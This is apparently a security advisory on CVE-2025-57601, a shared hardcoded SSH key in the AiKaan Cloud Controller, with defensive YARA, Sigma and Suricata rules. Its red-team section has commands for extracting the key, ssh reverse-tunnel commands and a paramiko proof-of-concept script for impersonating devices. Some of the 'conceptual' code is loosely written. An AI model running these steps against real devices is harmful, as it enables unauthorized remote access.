CVE-2025-57601

Executive Summary

CVE-2025-57601 exposes a critical design flaw in the AiKaan Cloud Controller, where a single hardcoded SSH private key and the username proxyuser are reused across all managed IoT/edge devices for remote terminal access. When an administrator initiates "Open Remote Terminal" from the AiKaan dashboard, the controller transmits this static private key to the target device, which then establishes a reverse SSH tunnel to a remote access server. This allows browser-based SSH access for the administrator. Because the same credentials are shared globally, any attacker who obtains the key—by intercepting it in transit, extracting it from the remote access server, or compromising an admin account—can impersonate any managed device, establish unauthorized reverse SSH tunnels, and interact with devices without the owner's consent. This is a fundamental authentication model failure: compromise of a single key breaks the trust boundary between the controller and all devices.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but rather to the AiKaan Cloud Controller proprietary software. The hardcoded SSH key is embedded in the controller’s codebase, which may be distributed as a binary or container image. Organizations using AiKaan should treat the controller as a critical supply chain component and verify its integrity before deployment.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed (compromise of one device affects all)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to gain full control over any managed IoT/edge device, leading to data theft, device manipulation, and potential lateral movement within the network.

Deep Dive & Mechanics

The AiKaan Cloud Controller uses a static SSH private key and the username proxyuser for all remote terminal sessions. The process works as follows:

1. Initiation: An administrator clicks "Open Remote Terminal" on the AiKaan dashboard for a specific device.
2. Key Transmission: The controller sends the hardcoded SSH private key to the target device over the network (potentially unencrypted or with weak encryption).
3. Reverse Tunnel: The device uses the key to authenticate as proxyuser to a remote access server, establishing a reverse SSH tunnel.
4. Access: The administrator’s browser connects through the tunnel to the device’s SSH service.

Because the key is identical across all customers and devices, an attacker who obtains it can:

• Impersonate any device by initiating a reverse tunnel from a compromised host.
• Intercept traffic between the controller and devices.
• Gain persistent access to all managed devices without detection.

The key may be extracted from:

• Network traffic (if not encrypted).
• The remote access server (if compromised).
• The controller’s binary or configuration files.
• A compromised admin account.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# AiKaan Controller - Hardcoded SSH key
SSH_PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"""
USERNAME = "proxyuser"

def open_remote_terminal(device_id):
    key = paramiko.RSAKey.from_private_key(StringIO(SSH_PRIVATE_KEY))
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh_client.connect(hostname=device_ip, username=USERNAME, pkey=key)
    # Establish reverse tunnel

Patched Code (Conceptual):

# AiKaan Controller - Per-device SSH key
import os
from cryptography.fernet import Fernet

def generate_device_key(device_id):
    key = paramiko.RSAKey.generate(bits=2048)
    # Store encrypted per-device key in secure vault
    encrypted_key = vault.encrypt(device_id, key)
    return encrypted_key

def open_remote_terminal(device_id):
    encrypted_key = vault.retrieve(device_id)
    key = vault.decrypt(device_id, encrypted_key)
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.RejectPolicy())
    ssh_client.connect(hostname=device_ip, username="admin", pkey=key)
    # Establish reverse tunnel with unique credentials

Key Differences:

• Vulnerable: Single static key for all devices.
• Patched: Unique per-device keys stored in a secure vault with encryption.
• Authentication: Vulnerable uses a shared proxyuser account; patched uses device-specific usernames and keys.

Exploitation & Lab Setup

Red Team

Objective: Obtain the hardcoded SSH key and use it to impersonate a managed device.

Lab Setup:

1. Deploy an AiKaan Cloud Controller (version with CVE-2025-57601) in a controlled environment.
2. Set up a test IoT/edge device with SSH enabled.
3. Use a network sniffer (e.g., Wireshark) to capture traffic between the controller and the device during a remote terminal session.

Exploitation Steps:

1. Extract the Key:
   • Intercept the SSH private key from network traffic (if transmitted in plaintext or weakly encrypted).
   • Alternatively, extract the key from the controller’s binary using strings or reverse engineering.

   strings /opt/aikaan/controller | grep -A 30 "BEGIN RSA PRIVATE KEY"
   

2. Impersonate a Device:
   • On an attacker-controlled machine, save the extracted key as id_rsa.
   • Connect to the remote access server as proxyuser:

   ssh -i id_rsa -R 8080:localhost:22 proxyuser@remote-access-server
   

   • This establishes a reverse tunnel, allowing the attacker to access the device’s SSH service via the remote access server.
3. Gain Access:
   • From the remote access server, connect to the device:

   ssh -p 8080 admin@localhost
   

   • The attacker now has full shell access to the device.

Proof of Concept (PoC) Script:

import paramiko
import sys

# Hardcoded key (example, replace with actual extracted key)
SSH_PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"""

def exploit(remote_server, device_ip):
    key = paramiko.RSAKey.from_private_key(StringIO(SSH_PRIVATE_KEY))
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(remote_server, username="proxyuser", pkey=key)
    # Establish reverse tunnel
    transport = ssh.get_transport()
    transport.request_port_forward('', 8080, device_ip, 22)
    print(f"Reverse tunnel established: localhost:8080 -> {device_ip}:22")
    ssh.close()

if __name__ == "__main__":
    exploit(sys.argv[1], sys.argv[2])

Blue Team

Objective: Detect and prevent exploitation of the hardcoded SSH key.

Detection Steps:

1. Monitor for Unauthorized Reverse Tunnels:
   • Look for unexpected SSH connections from devices to external servers.
   • Use network monitoring tools to detect reverse SSH tunnels (e.g., connections from device to remote access server on port 22).
2. Audit SSH Key Usage:
   • Check for the presence of the hardcoded key on any system.
   • Use file integrity monitoring to detect unauthorized key files.
3. Harden Network:
   • Restrict outbound SSH connections from IoT devices to only authorized servers.
   • Implement network segmentation to limit lateral movement.

Mitigation Steps:

1. Immediately rotate the hardcoded key and replace with per-device keys.
2. Update the AiKaan controller to use a secure key management system.
3. Enable strong encryption for all communications between controller and devices.
4. Implement multi-factor authentication for remote terminal access.

Indicators of Compromise (IOCs)

• SSH Private Key Fingerprint: (Example) SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
• Username: proxyuser
• Network Traffic: SSH connections from IoT devices to remote access servers on port 22 (or custom port).
• File Hashes: Hash of the controller binary containing the hardcoded key.
• Processes: ssh -R commands on IoT devices.
• Logs: Successful SSH logins as proxyuser from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2025_57601_AiKaan_Hardcoded_SSH_Key {
    meta:
        description = "Detects hardcoded SSH private key used in AiKaan Cloud Controller"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-57601"
    strings:
        $key_header = "-----BEGIN RSA PRIVATE KEY-----"
        $proxyuser = "proxyuser"
        $aikaan_ref = "AiKaan" nocase
    condition:
        $key_header and $proxyuser and $aikaan_ref
}

Sigma Rule

title: Detection of AiKaan Hardcoded SSH Key Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSH connections using the hardcoded proxyuser account
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ssh'
        CommandLine|contains: 'proxyuser'
    condition: selection
falsepositives:
    - Legitimate AiKaan remote terminal sessions
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-57601 - AiKaan Hardcoded SSH Key Reverse Tunnel"; flow:to_server; content:"proxyuser"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the "Open Remote Terminal" feature until a patch is applied.
   • Rotate the hardcoded SSH key and replace with unique per-device keys.
   • Audit all devices for unauthorized access.

2. Long-term Fixes:

   • Implement a secure key management system (e.g., HashiCorp Vault) to generate and store per-device SSH keys.
   • Use certificate-based authentication instead of static keys.
   • Encrypt all communications between the controller and devices using TLS.

3. Detection & Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Monitor for unauthorized reverse SSH tunnels.
   • Enable logging on all IoT devices and the remote access server.

4. Vendor Communication:

   • Contact AiKaan for an official patch.
   • If no patch is available, consider migrating to an alternative solution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert